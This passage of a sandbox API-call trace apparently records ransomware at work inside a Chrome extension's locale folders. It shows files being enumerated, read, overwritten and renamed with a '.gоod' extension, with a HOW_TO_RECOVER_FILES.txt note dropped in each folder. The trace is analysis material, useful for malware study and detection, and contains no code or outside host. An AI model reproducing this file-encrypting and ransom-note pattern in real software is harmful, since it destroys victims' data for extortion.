hTemplateFile=0x0) returned 0x824 [0252.638] GetFileType (hFile=0x824) returned 0x1 [0252.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0252.638] GetFileType (hFile=0x824) returned 0x1 [0252.638] WriteFile (in: hFile=0x824, lpBuffer=0x39d19c0*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x39d19c0*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0252.638] CloseHandle (hObject=0x824) returned 1 [0252.638] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json", lpFilePart=0x0) returned 0x8c [0252.638] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.gоod", lpFilePart=0x0) returned 0x91 [0252.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0252.639] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55393c15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55396298, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x92cc68e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0252.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0252.639] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json.gоod")) returned 1 [0252.640] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0252.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0252.640] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0252.641] GetFileType (hFile=0x824) returned 0x1 [0252.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0252.641] GetFileType (hFile=0x824) returned 0x1 [0252.642] WriteFile (in: hFile=0x824, lpBuffer=0x39d5310*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x39d5310*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0252.642] CloseHandle (hObject=0x824) returned 1 [0252.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0252.642] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x7e [0252.642] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5539d857, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a2679, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553a2679, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0252.643] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5539d857, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a2679, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553a2679, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.643] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553a2679, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a4cf8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0252.643] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0252.643] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0252.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0252.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0252.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0252.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x7e [0252.643] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5539d857, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a2679, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553a2679, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0252.644] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5539d857, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a2679, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553a2679, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.644] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553a2679, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a4cf8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0252.644] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553a2679, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a4cf8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0252.644] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0252.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0252.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0252.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json", lpFilePart=0x0) returned 0x8c [0252.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0252.644] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x39e53b0 | out: lpFileInformation=0x39e53b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553a2679, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a4cf8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0252.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0252.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json", lpFilePart=0x0) returned 0x8c [0252.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0252.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0252.645] GetFileType (hFile=0x824) returned 0x1 [0252.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0252.645] GetFileType (hFile=0x824) returned 0x1 [0252.645] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe0 [0252.645] ReadFile (in: hFile=0x824, lpBuffer=0x39e5858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x39e5858*, lpNumberOfBytesRead=0x1f6e7648*=0xe0, lpOverlapped=0x0) returned 1 [0252.645] CloseHandle (hObject=0x824) returned 1 [0254.417] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json", lpFilePart=0x0) returned 0x8c [0254.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0254.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0254.418] GetFileType (hFile=0x82c) returned 0x1 [0254.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0254.419] GetFileType (hFile=0x82c) returned 0x1 [0254.419] WriteFile (in: hFile=0x82c, lpBuffer=0x3aec930*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3aec930*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0254.419] CloseHandle (hObject=0x82c) returned 1 [0254.419] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json", lpFilePart=0x0) returned 0x8c [0254.419] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.gоod", lpFilePart=0x0) returned 0x91 [0254.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0254.419] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553a2679, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a4cf8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x93dc470f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0254.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0254.419] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json.gоod")) returned 1 [0254.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0254.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0254.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0254.610] GetFileType (hFile=0x824) returned 0x1 [0254.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0254.610] GetFileType (hFile=0x824) returned 0x1 [0254.633] WriteFile (in: hFile=0x824, lpBuffer=0x3af61b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3af61b0*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0254.634] CloseHandle (hObject=0x824) returned 1 [0254.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0254.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", lpFilePart=0x0) returned 0x7b [0254.634] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553b37e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553b860f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553b860f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0254.634] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553b37e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553b860f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553b860f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.634] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553b860f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553bac88, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0254.635] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0254.635] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0254.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0254.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0254.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0254.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", lpFilePart=0x0) returned 0x7b [0254.635] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553b37e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553b860f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553b860f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0254.635] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553b37e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553b860f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553b860f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.635] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553b860f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553bac88, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, 